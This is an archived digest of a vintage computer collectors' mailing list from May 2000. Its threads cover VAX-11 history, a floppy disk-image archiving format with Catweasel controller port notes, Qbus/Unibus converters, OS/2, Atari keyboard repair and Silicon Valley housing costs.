http://www.aracnet.com/~healyzh/ | From mcguire at neurotica.com Sun May 28 14:42:39 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:53:10 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: VAX-11? and some C64 stuff (John Rollins) References: Message-ID: <14641.30383.845247.724597@phaduka.neurotica.com> On May 28, John Rollins wrote: > What fun! I got a book called "VAX-11 Assembly Language Programming." > What's a VAX-11? The first few VAXen were the VAX-11 family. The first was the VAX-11/780, then (in no particular order) the VAX-11/750, the /730, /725, /782, and /785. Of course I'm assuming you know what a VAX is in the more generic sense... -Dave McGuire From sethm at loomcom.com Sun May 28 14:49:08 2000 From: sethm at loomcom.com (sjm) Date: Sun Feb 27 18:53:10 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: ; from rexstout@uswest.net on Sun, May 28, 2000 at 12:24:43PM -0700 References: Message-ID: <20000528124908.A788@loomcom.com> On Sun, May 28, 2000 at 12:24:43PM -0700, John Rollins wrote: > What fun! I got a book called "VAX-11 Assembly Language Programming." > What's a VAX-11? "The" original VAX. The original model of the VAX announced in 1977 was called the VAX-11/780, followed by various configurations (11/782=Dual CPU version; 11/784=Quad CPU version). There was also a much smaller, slower, cheaper version later called the VAX-11/750. They were in some ways meant to be 32-bit versions of the PDP-11 processor, with lots of "extras". The VAX-11's had PDP-11 compatibility modes, in fact, to ease the transition to 32 bit. Of course, PDP-11s lived on for many years after the VAX was introduced, but a lot of people are still sore over the way DEC killed off (or allowed to be killed off?) their 36-bit line (PDP-10) in favor of the VAX. -Seth -- "As a general rule, the man in the habit of murdering | Seth Morabito bookbinders, though he performs a distinct service | sethm@loomcom.com to society, only wastes his own time and takes no | personal advantage." -- Kenneth Grahame (1898) | Perth ==> * From jimw at agora.rdrop.com Sun May 28 15:06:19 2000 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:53:10 2005 Subject: Documenting how old computers were used In-Reply-To: References: <004e01bfc732$4fad1a60$0200a8c0@marvin> Message-ID: <3.0.3.32.20000528130619.009bdcf0@agora.rdrop.com> At 06:48 PM 5/26/00 -0700, you wrote: >On Fri, 26 May 2000, Mark Gregory wrote: > >> It seems to me that increasingly, social historians and museums are more >> interested in _how_ an artifact was used than in the thing itself. But >> often , especially when I receive multiple examples of the same system, I >> mix and match parts and programs to suit myself, and lose track of which >> disk drive came with which CPU, which software was originally installed on >> each, etc. Information is obviously being lost here. >> >> I'd be interested to know what other list members are doing, and how >> important you think the information being lost is. > >In fact, this is a subject I have been thinking about recently and I'm >hoping to commission a talk for the next VCF. Any takers? Hmmm... that starts to sound interesting... Perhaps a topic. -jim BTW: (unmerciful ping) Talked to Dag lately? B^} --- jimw@computergarage.org The Computer Garage - http://www.computergarage.org Computer Garage Fax - (503) 646-0174 From mark_k at iname.com Sun May 28 17:38:55 2000 From: mark_k at iname.com (Mark) Date: Sun Feb 27 18:53:10 2005 Subject: Defining Disk Image Dump Standard Message-ID: On Fri, 26 May 2000 Vintage Computer GAWD! wrote: > On Fri, 26 May 2000, John Foust wrote: > > > Below is the section from the manual that describes their > > file format. > > > > Each sector written to the file is optionally preceded by an > > 8-byte header record of the following form: > > > > > > +------+------+------+------+------+------+----------+ > > | ACYL | ASID | LCYL | LSID | LSEC | LLEN | COUNT | > > +------+------+------+------+------+------+----------+ > > > > ACYL Actual cylinder, 1 byte > > ASID Actual side, 1 byte > > LCYL Logical cylinder; cylinder as read, 1 byte > > LSID Logical side; or side as read, 1 byte > > LSEC Sector number as read, 1 byte > > LLEN Length code as read, 1 byte > > COUNT Byte count of data to follow, 2 bytes. If zero, > > no data is contained in this sector. > > > > All sectors occurring on a side will be grouped together; > > however, they will appear in the same order as they occurred on > > the diskette. Therefore, if an 8 sector-per-track diskette were > > scanned which had a physical interleave of 2:1, the sectors might > > appear in the order 1,5,2,6,3,7,4,8 in the DOS dump file. > > > > After the last specified cylinder has been written to the DOS > > file, AnaDisk returns to the Main Menu. > > This is a good start. The header should include a byte that contains a > flag indicating the status of the sector (good, bad, etc). This seems rather "high level" if you are wanting to preserve the exact disk contents. Though it may be all you can do using a standard PC floppy controller. > What about odd formats? I take my experience from the Apple ][. You had > stuff like half-tracks and quarter-tracks (the head was stepped half-way > or half of half-way between tracks to store data), odd disk formats > (custom sector sizes, custom sector layouts, etc.), synchronization > between tracks (one copy protection scheme was to write a two tracks so > that if a seek was done from one track to the other, a specific sector > would be expected under the head as soon as it got to the next track). I would like to be proved wrong, but there is no way to account for every possible strange thing that could be done in terms of custom formats, copy-protection etc., at least in a high level file format that doesn't just sample the bits coming from the disk. It would be possible to construct a device for archiving disks at a very low level. I guess this would be similar to commercial floppy disk duplicators, except writing data to a file instead of another floppy. The bit stream from the disk would be sampled at a very high rate to allow for various tricks that could be done. Or by modifying a floppy drive, the analogue signal from the read head could be sampled. Tricks like "pulsing" the drive motor during a write to vary rotation rate, changing the data rate mid-write (e.g. 2us vs 4us per bit cell), changing precompensation values mid write, using custom non-MFM-or-GCR coding methods, reducing drive motor speed for some tracks (thus writing long tracks which cannot be duplicated on an unmodified drive/computer),... [Long tracks are a common form of copy-protection on Amiga games.] Such a low-level dump of raw data would at least preserve all (or almost all) information on the disk. Successfully writing an exact duplicate back to another floppy would depend on the capabilities of your disk controller. Still, such as image file could be easily supported by emulators. Also bad sectors would be preserved, meaning that recovery of most of the data from them would be possible. > The AnaDisk software doesn't seem to accomodate copy protected or > custom-format disks. The standard will have to address these disks as > well. You may know that Amiga computers have very flexible floppy controller hardware. There are several programs on the Amiga that are intended to image/archive disks at a low level. These read the raw bits from an entire track in one pass, and store that (from index to index, plus some). This is independent of the coding method used (MFM, GCR or whatever), and of course preserves sector order, distance between sectors etc. It should be possible to successfully archive almost any PC floppy disk that way, protected or not. I don't have many copy-protected PC floppies. Was any famously "evil" type of disk-based copy-protection used for PC software? I would quite like to try making a working backup of a disk like this. The Catweasel disk controller hardware (available as an ISA card for PCs) is capable of similar things. However due to its developer (stupidly IMO) refusing to release details on how to program it directly, this would be of no use; you're stuck with the provided drivers which are apparently pretty poor. -- Mark From mark_k at iname.com Sun May 28 17:40:39 2000 From: mark_k at iname.com (Mark) Date: Sun Feb 27 18:53:10 2005 Subject: Sun type 4 & 5 keyboards FS in UK Message-ID: Hi, I have several Sun Type 4 and Type 5 keyboards. Since I don't currently have any Sun hardware to test these with, I cannot say for sure whether they work. However they are in good physical condition, and I'll give a refund if they are DOA. Is 5 pounds each too much to ask for this sort of thing? -- Mark From rexstout at uswest.net Sun May 28 17:43:05 2000 From: rexstout at uswest.net (John Rollins) Date: Sun Feb 27 18:53:10 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: <14641.30383.845247.724597@phaduka.neurotica.com> References: <14641.30383.845247.724597@phaduka.neurotica.com> Message-ID: >Of course I'm assuming you know what a VAX is in the more generic >sense... Not really... I don't know much about the VAX models(or much of anything from DEC for the matter, besides knowing I have a terminal and an 11/84 in the basement). I probably would have recognized a reference to a 750 or 780, but just plain VAX-11 threw me off. Well, now I'm hooked. Anyone know of a good web site with some basic info on the VAX computers? -- /--------------------------------------------------\ | http://jrollins.tripod.com/ rexstout@uswest.net | | list admin for orham and ham-mac at www.qth.net | | KD7BCY pdxham at www.egroups.com | \--------------------------------------------------/ From wilson at dbit.dbit.com Sun May 28 18:42:39 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:53:10 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: ; from mark_k@iname.com on Sun, May 28, 2000 at 10:38:55PM +0000 References: Message-ID: <20000528194239.A9878@dbit.dbit.com> On Sun, May 28, 2000 at 10:38:55PM +0000, Mark wrote: >The Catweasel disk controller hardware (available as an ISA card for PCs) is >capable of similar things. However due to its developer (stupidly IMO) >refusing to release details on how to program it directly, this would be of >no use; you're stuck with the provided drivers which are apparently pretty >poor. I thought he had changed his mind about this? When I first talked to him he seemed pretty paranoid, but I think he eventually realized that there's not a big enough market for there to be even a point in stealing his idea and competing with him (although, I sure hope he's done a PCI version by the time ISA slots disappear entirely). I certainly remember that he softened his position about this, but I don't know if that turned into a manual. Then again, the CW/ISA board comes with no manual anyway! Anyway I sorted out a lot of the Catweasel/ISA details, from disassembly and the few sources that were available when I was doing it, it might be enough to write a driver (I've gotten stuck with my own work on RX01 and RX23 style drivers, I can read data enough of the time to think I'm really close but it works less than half the time). Here's what I've worked out on the I/O ports (default base is 320h): base+0 autoincrementing memory I/O port (reads/writes next byte from buffer) base+1 read (and ignore value) to clear address counter write 0 (or any value?) to stop I/O (w/o touching addr ctr) base+2 raw floppy disk control/status signals (N.B. IOR and IOW are two different regs) write: b7 MO1 (0=asserted) b6 ??? b5 DS0 (0=asserted) b4 DS1 (0=asserted) b3 MO0 (0=asserted) b2 HEAD (1=head 0, 0=head 1 b1 DIR (1=out, 0=in) b0 STEP (1=asserted) read: b5 DSKCHG (0=asserted) b4 TK00 (0=asserted) ... don't know the others (INDEX is probably here too) base+3 MSB gives access to a shift register I think??? (selected by addr ctr to must touch base+0 to advance) seems to be config bits (you can read 16 bits, don't know if they're the same ones you write or just hard-wired version bits): index 0=0 to select high-speed clock index 2=0 to make index pulse not appear in data stream I forget why I think I know that, no idea about other bits (my code writes 0 to 0&2 and *almost* works) base+4 ??? base+5 write 0 (or any value???) to start writing to disk (?) base+6 ??? base+7 read to start reading from disk The board has a RAM which is indexed by the hidden counter (cleared when base+1 read), each IN or OUT to base+0 reads/writes a byte and increments the counter. The value stored in each byte is the amount of time (counted from a high-speed internal clock, I forget the data rate) between transitions on the head data. When reading, this value fits in 7 bits, I don't know how guaranteed that is (maybe they just assume that the transitions will always come soon enough), but the routines I looked at would enable reading for something a bit over one track time, and then write 80h to base+0 to mark the end of the track data (I guess it's the same address counter for both base+0 accesses and data written into RAM by the board itself), which the decoder routine would depend on. I haven't even tried to write a "write" routine yet, but IIRC the interval timer still counts up rather than down, so the durations stored in RAM have to be negated. Normally you rewrite the whole track, since the CW isn't too fancy about searching for sector headers (I think it's supposed to be able to find one of the System/34 marks but it's not a general-purpose feature, anyway I don't know how to trigger that). John Wilson D Bit From oliv555 at arrl.net Sun May 28 19:37:43 2000 From: oliv555 at arrl.net (Nick Oliviero) Date: Sun Feb 27 18:53:10 2005 Subject: Q-to-U translations Message-ID: <3931BBD7.A8DDC23D@arrl.net> Anyone on list familiar with the various Qbus/Unibus convertors that can help with this problem? Actually two, I'm trying to connect one Unibus expansion chassis to a Qbus host, PDP11/83. I've another Unibus chassis which I'd like to mate with a mVAX4100. I have the DEC M8217 and Able 10340 convertors but have not been able to find any documentation on either. Would either of these work or do I require a different product. I know Able made at least 4 of these variants. Able has not been very helpful in the past, general response going something like ...... we have a manual that may answer your question, its only $100.......... It just occured to me, I think the Able boards were meant to be plugged to the Qbus side, my situation requires a Unibus board, at least in the case of the 4100 project. Also, my 4100 manual completely glosses over its Qbus capability. Anyone know the p/n and or pinouts for the 4100 Qbus cable? Thanks in advance for any suggestions Nick From sethm at loomcom.com Sun May 28 20:41:37 2000 From: sethm at loomcom.com (sjm) Date: Sun Feb 27 18:53:11 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: ; from rexstout@uswest.net on Sun, May 28, 2000 at 03:43:05PM -0700 References: <14641.30383.845247.724597@phaduka.neurotica.com> Message-ID: <20000528184137.A1285@loomcom.com> On Sun, May 28, 2000 at 03:43:05PM -0700, John Rollins wrote: > >Of course I'm assuming you know what a VAX is in the more generic > >sense... > Not really... I don't know much about the VAX models(or much of > anything from DEC for the matter, besides knowing I have a terminal > and an 11/84 in the basement). I probably would have recognized a > reference to a 750 or 780, but just plain VAX-11 threw me off. Well, > now I'm hooked. Anyone know of a good web site with some basic info > on the VAX computers? Right on! Another convert... I'm kind of a VAX addict myself, I've got several MicroVAXen and VAXstations strewn about the house running NetBSD or VMS. Goot links include: http://www.montagar.com/hobbyist/ (OpenVMS Hobbyist License Info) http://www.netbsd.org/Ports/vax/ (NetBSD VAX port info and links) http://world.std.com/~bdc/projects/vaxen/ (Brian Chase's "Planet VAX") http://www.netbsd.org/Library/Hardware/Machines/DEC/vax/ (A VAX hardware reference) http://www.montagar.com/~patj/freevms.htm (Kind of a cool "everything in one place" page by a VAX hacker) These are a good start. VAXen are cool. VAXen are neat. Now, if only I could get to use some DEC 36-bit equipment... -Seth -- "As a general rule, the man in the habit of murdering | Seth Morabito bookbinders, though he performs a distinct service | sethm@loomcom.com to society, only wastes his own time and takes no | personal advantage." -- Kenneth Grahame (1898) | Perth ==> * From allisonp at world.std.com Sun May 28 20:21:47 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:53:11 2005 Subject: OS/2 Message-ID: <01ec01bfc90e$697147e0$7664c0d0@ajp166> >It's the APPS and the moving Win32s target they tried to support. >The killer was when MS made Office not run under OS/2. May have hurt the market but, no great loss. MS Office is another plague on the world. >OS/2 was slow -- glacial on the early 386's without a LOT of memory >16meg was VERY rare then). IBM used it internally (v2.11) on PS/2 25's >with 12-16mb. It was slow loading and glacial loading apps. Many >secretaries booted it with all their windows apps loaded so they didn't >have to wait for programs to load. They often ran Ami Pro v3.1 under win3.1 >since the Lotus Smartsuite was BEHIND the windows version for features. As a Win3.1 user it was no better on 386s and really didn't run usefully with less than 4mb and really wanted 8mb to behave well. >I'd bet they're switching to WinNT or Win9x (laptops) and going to >Microsoft Word for customer compatibility in a lot of cases. We were Win9x is a mess but can be made to work, WinNT4/workstation is better but you MUST be at SP4 or higher. It's the MS apps that are a pox on the world. ;-) Allison From danburrows at mindspring.com Sun May 28 23:09:26 2000 From: danburrows at mindspring.com (Daniel T. Burrows) Date: Sun Feb 27 18:53:11 2005 Subject: Q-to-U translations Message-ID: <003801bfc928$bc3555b0$a652e780@L166> If you can't find anything by next weekend contact me off list. I have a couple Qniverters at home with the docs. I can't recall the # offhand but I know they were used from a Qbus host to Unibus backplane. Dan -----Original Message----- From: Nick Oliviero To: classiccmp@classiccmp.org Date: Sunday, May 28, 2000 9:24 PM Subject: Q-to-U translations >Anyone on list familiar with the various Qbus/Unibus convertors >that can help with this problem? Actually two, I'm trying to connect >one Unibus expansion chassis to a Qbus host, PDP11/83. I've >another Unibus chassis which I'd like to mate with a mVAX4100. > >I have the DEC M8217 and Able 10340 convertors but have not >been able to find any documentation on either. Would either of >these work or do I require a different product. I know Able made >at least 4 of these variants. Able has not been very helpful in the >past, >general response going something like ...... we have a manual >that may answer your question, its only $100.......... > >It just occured to me, I think the Able boards were meant to be >plugged to the Qbus side, my situation requires a Unibus board, >at least in the case of the 4100 project. > >Also, my 4100 manual completely glosses over its Qbus capability. >Anyone know the p/n and or pinouts for the 4100 Qbus cable? > >Thanks in advance for any suggestions > > Nick From mrbill at mrbill.net Mon May 29 06:21:00 2000 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 18:53:11 2005 Subject: VAX emulator Message-ID: <20000529062100.X25040@mrbill.net> Check out www.charon-vax.com. Interesting - software VAX emulator for Windows NT / 2000. Bill -- +--------------------+-------------------+ | Bill Bradford | Austin, Texas | +--------------------+-------------------+ | mrbill@sunhelp.org | mrbill@mrbill.net | +--------------------+-------------------+ From Huw.Davies at kerberos.davies.net.au Mon May 29 06:54:20 2000 From: Huw.Davies at kerberos.davies.net.au (Huw Davies) Date: Sun Feb 27 18:53:11 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: <20000528124908.A788@loomcom.com> References: Message-ID: <4.3.1.2.20000529215313.01e11220@kerberos.davies.net.au> At 12:49 PM 28-05-00 -0700, sjm wrote: >"The" original VAX. The original model of the VAX announced in >1977 was called the VAX-11/780, followed by various configurations >(11/782=Dual CPU version; 11/784=Quad CPU version). There was also >a much smaller, slower, cheaper version later called the VAX-11/750. Well that's the first time I've heard of an 11/784. More details would be interesting. I'm assuming that the MA780 had four ports rather than the two I'd assumed it had... Huw Davies | e-mail: Huw.Davies@kerberos.davies.net.au | "If God had wanted soccer played in the | air, the sky would be painted green" From jimw at agora.rdrop.com Mon May 29 12:51:24 2000 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:53:11 2005 Subject: Documenting how old computers were used In-Reply-To: <3.0.3.32.20000528130619.009bdcf0@agora.rdrop.com> References: <004e01bfc732$4fad1a60$0200a8c0@marvin> Message-ID: <4.3.2.7.0.20000529105021.00cc1cc0@agora.rdrop.com> At 01:06 PM 5/28/00, you wrote: >At 06:48 PM 5/26/00 -0700, Sellam wrote: > >On Fri, 26 May 2000, Mark Gregory wrote: > > > >> It seems to me that increasingly, social historians and museums are more > >> interested in _how_ an artifact was used than in the thing itself... > > > >In fact, this is a subject I have been thinking about recently and I'm > >hoping to commission a talk for the next VCF. Any takers? > >Hmmm... that starts to sound interesting... Perhaps a topic. > >-jim Oopsie... that reply was intended for Sellam rather than the list... -jim --- jimw@computergarage.org The Computer Garage - http://www.computergarage.org Computer Garage Fax - (503) 646-0174 From Hans.Franke at mch20.sbs.de Mon May 29 13:13:29 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:53:11 2005 Subject: ASCII art In-Reply-To: <392CD27A.853F6C86@home.com> Message-ID: <3932CF69.12467.10AECB3@localhost> BTW: ASCII Art is still not dead - check http://slashdot.org/comments.pl?sid=00/05/29/1542223&threshold=0&commentsort=0&mode=thread&cid=39 cute, isn't it ? (Part of a thread about MS canceling eBay Auctions: http://slashdot.org/article.pl?sid=00/05/29/1542223&mode=thread (be aware, huge page)) Gruss H. -- VCF Europa 2.0 am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From Hans.Franke at mch20.sbs.de Mon May 29 14:18:33 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:53:11 2005 Subject: A moment of silence... In-Reply-To: References: <392F2A59.22311.BDD2264@localhost> Message-ID: <3932DEA9.8720.146821E@localhost> > > At the end of last month, Haltek Electronics, Mountain View, > > CA closed their doors. Not because they wanted to, nor because > > they didn't have a loyal following, but purely because of greed on > > the part of their jackass of a landlord. > > It seems that their lease was up for renewal. Their landlord, > > decided to get greedy, and wanted to at least double what they'd > > been paying for rent (maybe even 2.5 or triple... I'm not certain). > > Bruce. You don't live in the area here. You don't understand the reality > of the situation. In case you hadn't noticed, there is an economic boom > going on here unparalleled in the history of man (or so the economists > say, but at any rate, it's huge). The market for real estate in the > Silicon Valley, for better or worse, is skyrocketing. Property values > have shot up, along with rents. I still don't get the idea - Silicon Valey (Contra Coast, Alameda and Santa Clara), an area 4 times larger than Munich (City of Munich and Munich county) and just roughly the same population, and you're talking about skyrocketing prices ? maybe they should start to build something (preferable something other than highways). Well, anyway, beside all this there's still a question what impact this may have for our hobby, and future geek generations. Without some scrap dealer next door, it's hard to get in touch with usefull devices.... > Now, in a communist state, this landlord would indeed be a greedy jackass, > or worse! But here in the good old U.S. of A., he's a capitalist. Why > should he be expected to operate as a charity? Hmm - I'd rather prefer a constitutional state where everybody recives some protection by law .... :)) Gruss H. -- VCF Europa 2.0 am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From mac at Wireless.Com Mon May 29 15:02:12 2000 From: mac at Wireless.Com (Mike Cheponis) Date: Sun Feb 27 18:53:11 2005 Subject: A moment of silence... In-Reply-To: <3932DEA9.8720.146821E@localhost> Message-ID: On Mon, 29 May 2000, Hans Franke wrote: > I still don't get the idea - Silicon Valley (Contra Coast, Alameda and > Santa Clara), an area 4 times larger than Munich (City of Munich and > Munich county) and just roughly the same population, and you're talking > about skyrocketing prices ? maybe they should start to build something > (preferable something other than highways). It would appear as if more people want to live in Silicon Valley than Munich. It's called "supply and demand". The average house in Silicon Valley costs $577,280 (Source: SJ Mercury News, 29 May 2000, page 7B). ( That's 1.216.791 DM at today's exchange rates, or 622.134,66 Euros. ) Commercial real estate has undergone similar escalation, with landlords now commonly asking for substantial percentages of stock in pre-IPO companies in addition to high rents. I know personally of a deal that fell through because the company that lost was unwilling to give approximately 1% of the outstanding stock to the landlord (in addition to the high rent); the "winning" company gave more stock+cash. If Silicon Valley weren't Paradise (esp. for geeks), it wouldn't make sense... But... -Mike From richard at idcomm.com Mon May 29 15:28:26 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:11 2005 Subject: A moment of silence... References: <392F2A59.22311.BDD2264@localhost> <3932DEA9.8720.146821E@localhost> Message-ID: <000701bfc9ac$72307740$0400c0a8@EAHOME> ----- Original Message ----- From: Hans Franke To: Sent: Monday, May 29, 2000 1:18 PM Subject: Re: A moment of silence... > > > At the end of last month, Haltek Electronics, Mountain View, > > > CA closed their doors. Not because they wanted to, nor because > > > they didn't have a loyal following, but purely because of greed on > > > the part of their jackass of a landlord. > > > > It seems that their lease was up for renewal. Their landlord, > > > decided to get greedy, and wanted to at least double what they'd > > > been paying for rent (maybe even 2.5 or triple... I'm not certain). > > > > Bruce. You don't live in the area here. You don't understand the reality > > of the situation. In case you hadn't noticed, there is an economic boom > > going on here unparalleled in the history of man (or so the economists > > say, but at any rate, it's huge). The market for real estate in the > > Silicon Valley, for better or worse, is skyrocketing. Property values > > have shot up, along with rents. > > I still don't get the idea - Silicon Valey (Contra Coast, Alameda and > Santa Clara), an area 4 times larger than Munich (City of Munich and > Munich county) and just roughly the same population, and you're talking > about skyrocketing prices ? maybe they should start to build something > (preferable something other than highways). > > Well, anyway, beside all this there's still a question what impact > this may have for our hobby, and future geek generations. Without > some scrap dealer next door, it's hard to get in touch with usefull > devices.... > > > Now, in a communist state, this landlord would indeed be a greedy jackass, > > or worse! But here in the good old U.S. of A., he's a capitalist. Why > > should he be expected to operate as a charity? > > Hmm - I'd rather prefer a constitutional state where everybody > receives some protection by law .... > Protection??? Protection from what? Protection from having the opportunity to own real estate (which fewer Germans than Americans do) as a hedge against inflation? It's no secret that when housing prices double, it's likely everything else doubles along the way as well, so that's just inflation. The fact that real estate rises in price as the population rises, is no mystery. Will Rogers said that it's always a good investment to buy a piece of the rock ... they don't make it any more. My last rental property, a 10-acre rural property, was continuously rented to the same tenants for 14 years, by my late ex-wife, BTW, but no matter. When I finally got them out of there, it cost me $13K to have the trash hauled off, the dirt hauled out of the house, and the premises, e.g. outbuildings, fences, etc, repaired and cleaned, aside from which I spent dozens of weekends on the premises making not-so-minor repairs to the house, barn, and lesser outbuildings, not to mention the seriously damaged water system(ruptured reservoir bladder, damaged wiring, worn-out pump) , which cost another $4K to repair. The rent had remained the same for 12 of the 13 years these tenants had occupied the place. I did have offers to rent it at a higher price, but felt it was not worth making the change by that time. The lesson: if you don't charge enough rent, the tenants will treat the property as though it's not worth anything. Corrolary: always charge the "going rate" regardless of what you need to get out the property. We had held the property as a "break-even" investment, planning to take our profit as long-term capital gain. As it turned out, though regional property values had more than doubled since we bought the property, the poor condition and obvious repairs, not to mention poorly maintained landscaping, made the property sell at a full 50% off the typical price of comparables in the area. I'm acquainted with a number of residential and commercial landlords and have yet to meet one who's making the kind of money that people seem to think landlords make. Most of them spend the little profit they make on their rental holdings on aspirin, antacids, whiskey, and prune juice, all the while hoping that the building's still standing when the lease expires. If I'm ever in the position to become a landlord, (God forbid!) I'll set the rent based on the market, the damage/security deposit at 2/3 the combined gross annual income of the tenants and demand both that plus first and last months' rent in cash on the date of signing of the lease. Now, what, exactly is it that you believe renters need to be protected from, Hans? > :)) > > Gruss > H. > > -- > VCF Europa 2.0 am 28./29. April 2001 in Muenchen > http://www.vintage.org/vcfe > http://www.homecomputer.de/vcfe > From sethm at loomcom.com Mon May 29 15:47:33 2000 From: sethm at loomcom.com (sjm) Date: Sun Feb 27 18:53:11 2005 Subject: A moment of silence... In-Reply-To: ; from mac@Wireless.Com on Mon, May 29, 2000 at 01:02:12PM -0700 References: <3932DEA9.8720.146821E@localhost> Message-ID: <20000529134733.A824@loomcom.com> On Mon, May 29, 2000 at 01:02:12PM -0700, Mike Cheponis wrote: > > If Silicon Valley weren't Paradise (esp. for geeks), it wouldn't make > sense... But... Actually, I mainly live here for the weather now. I've noticed the quality of life in the area plunging faster than an Alaska Airlines jet, and I'm more and more seriously looking around at other options. I love the Bay Area. I was born in San Francisco, I really consider this place home despite my family roots in New England (which is just too hot in the summer, and too cold in the winter). But unless there's a very serious housing market crash (and believe me, I wish for one daily) I'm going to have to get out of this area if I actually want to buy a house that doesn't suck. It's fine for people who've owned a house in the area for more than a few years, but for someone like me who's never owned a home, the barrier to entry is far too high (even making a rediculously inflated salary, as I think I do). Right now I can afford a very small one bedroom condo in a fairly questionable area -- IF I can find one that doesn't get bid out of my price range by competitors who want it more than I do. Or, I can afford a four bedroom home in the nicest suburb of Columbus, Ohio. (Yes, I realise Columbus Ohio fails my weather test. Otherwise, I'd be there :) So, I love living here, and I hate living here. For now I'll keep renting (provided I can continue to find places to rent that I can afford) but if the current trends continue for more than another year, I'm very much _out_ of here. > -Mike -Seth P.S. - I did a quick survey of friends, and friends of friends, to see if I know anyone who's actually made it rich by being a Silicon Valley geek. Out of the big network of people we came up with, we were able to find a friend of a friend of a friend who supposedly cashed in his company stock options and got just over a million dollars out of it (the report is unsubstantiated so far). But, of the rest of us, noone's made a dime from options. In fact, some of us have been screwed because of tax rules governing options, and companies trading below their IPO price. So, I definitely don't buy the "Geeks Get Rich in Silicon Valley!" argument. Maybe 1% do, maybe 2% at the outside -- better odds than the Lottery, to be sure, but hardly worth screwing yourself over by working at a go-nowhere work-until-you-drop Startup company. The collective editors of "Fast Company" and "Upside" can shove their trendy media rags up their collective spotty behinds. -- "As a general rule, the man in the habit of murdering | Seth Morabito bookbinders, though he performs a distinct service | sethm@loomcom.com to society, only wastes his own time and takes no | personal advantage." -- Kenneth Grahame (1898) | Perth ==> * From transit at lerctr.org Mon May 29 16:23:38 2000 From: transit at lerctr.org (Charles P. Hobbs (SoCalTip)) Date: Sun Feb 27 18:53:11 2005 Subject: Atari 800 keyboards In-Reply-To: <20000529134733.A824@loomcom.com> Message-ID: I fired up my old Atari 800 this weekend, and it seems to work ok, except the keyboard is extremely flakey (some of the keys don't work too well unless you press really hard, and a few don't work at all). Any ideas? From peter at joules.org Mon May 29 16:01:56 2000 From: peter at joules.org (Peter Joules) Date: Sun Feb 27 18:53:11 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repa... In-Reply-To: References: Message-ID: In article , R. D. Davis writes >Of course, for the software, there's such a thing as backups. ;-) I know, but most of it is still in original boxes with all docs, so it would be nice to save it from the skip. -- Regards Pete From ard at p850ug1.demon.co.uk Mon May 29 17:24:03 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:11 2005 Subject: Atari 800 keyboards In-Reply-To: from "Charles P. Hobbs" at May 29, 0 04:23:38 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 4787 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000529/624b3e45/attachment-0001.ksh From lemay at cs.umn.edu Mon May 29 19:04:20 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:53:11 2005 Subject: Atari 800 keyboards In-Reply-To: from Tony Duell at "May 29, 2000 11:24:03 pm" Message-ID: <200005300004.TAA17364@caesar.cs.umn.edu> > > 5) Capacitive matrix (Keytronics, e.g. PERQ 2, Apricot, Sirius, etc). > These are not really switches. The keyboard works by the increase in > capacitance when a plastic disk coated with metal on the back bridges 2 > electrodes on the PCB. These are actually very reliable, but you can take > off the PCB and clean it with propan-2-ol. The only common failure is > loss of the metalisation from the disks, for which the only cure is > replacement. The good news is that all such keyboards that I've seen use > the _same_ disks, so spares are not hard to come by. > A common failure for capacitive keyboards is age/ozone/whatnot which causes the foam between the plastic disks to break down. I havent seen the problem where the metal wears off the disk. Either way, you can still buy brand new capacitive pads from Keytronic Corporation, about 10 cents per pad, or 9 cents if you buy at least 1000, plus 6.50 shipping of course. Just what the doctor ordered if you have Terak's. It really helps out when playing videogames like Asteroids on my Terak as well ;) For a while there, I thought I was losing my skills. -Lawrence LeMay From ethan_dicks at yahoo.com Mon May 29 20:47:55 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:53:11 2005 Subject: Geeks and quality of life (was Re: A moment of silence...) Message-ID: <20000530014755.26972.qmail@web616.mail.yahoo.com> --- sjm wrote: > I love the Bay Area. I was born in San Francisco, I really > consider this place home despite my family roots in New England > (which is just too hot in the summer, and too cold in the winter)... > > Or, I can afford a four bedroom home in the nicest suburb of > Columbus, Ohio. (Yes, I realise Columbus Ohio fails my weather test. > Otherwise, I'd be there :) What ever made you pick Columbus as your touchstone? If you prefer Bay Area weather, I guarantee that it fails your weather test, but, yes, the housing prices are quite moderate (with salaries to match ;-) On the plus side, a nice house in one of the very desirable sections of town goes from $225K to $350K, new houses in a modest neighborhood are more like $160K to $180K, and in my neighborhood (near Ohio State University, so city schools for those folks that care), it's closer to $110K to $150K for a 50-70 year-old two-to-three bedroom house. On my mother's street (three blocks from OSU), the houses are 4-bedroom brick, pre-WWI, and run around $125K. It's a huge range, depending on where you want to live, how long you want it to take to get to work (since the geek jobs are concentrated on the NW side of the city, in and near Dublin (think "Memorial Tournament")). I drive 12.5 miles to get to work only because I take surface streets and avoid the freeway which is under massive construction all around the part of town that has a high concentration of tech jobs. Now... the other side of the coin: the coin. My experience around here is that a 10+ year UNIX administrator can get between $50K - $100K, depending on salary vs. contract, size of employer, quality of negotiating skills, etc. NT and Novell admins get about 75%-80% of that. Programmers can get anywhere from $40K - $100K, depending on the esoteric nature of the work, project based vs product based, language, etc. I do not know any geeks personally in this market who I know to be making a bunch over $100K, but I do know a lot of people earning between $50K and $75K. I used to say that I would never personally take a Bay Area job for less than $125K/year. I would be lowering my standard 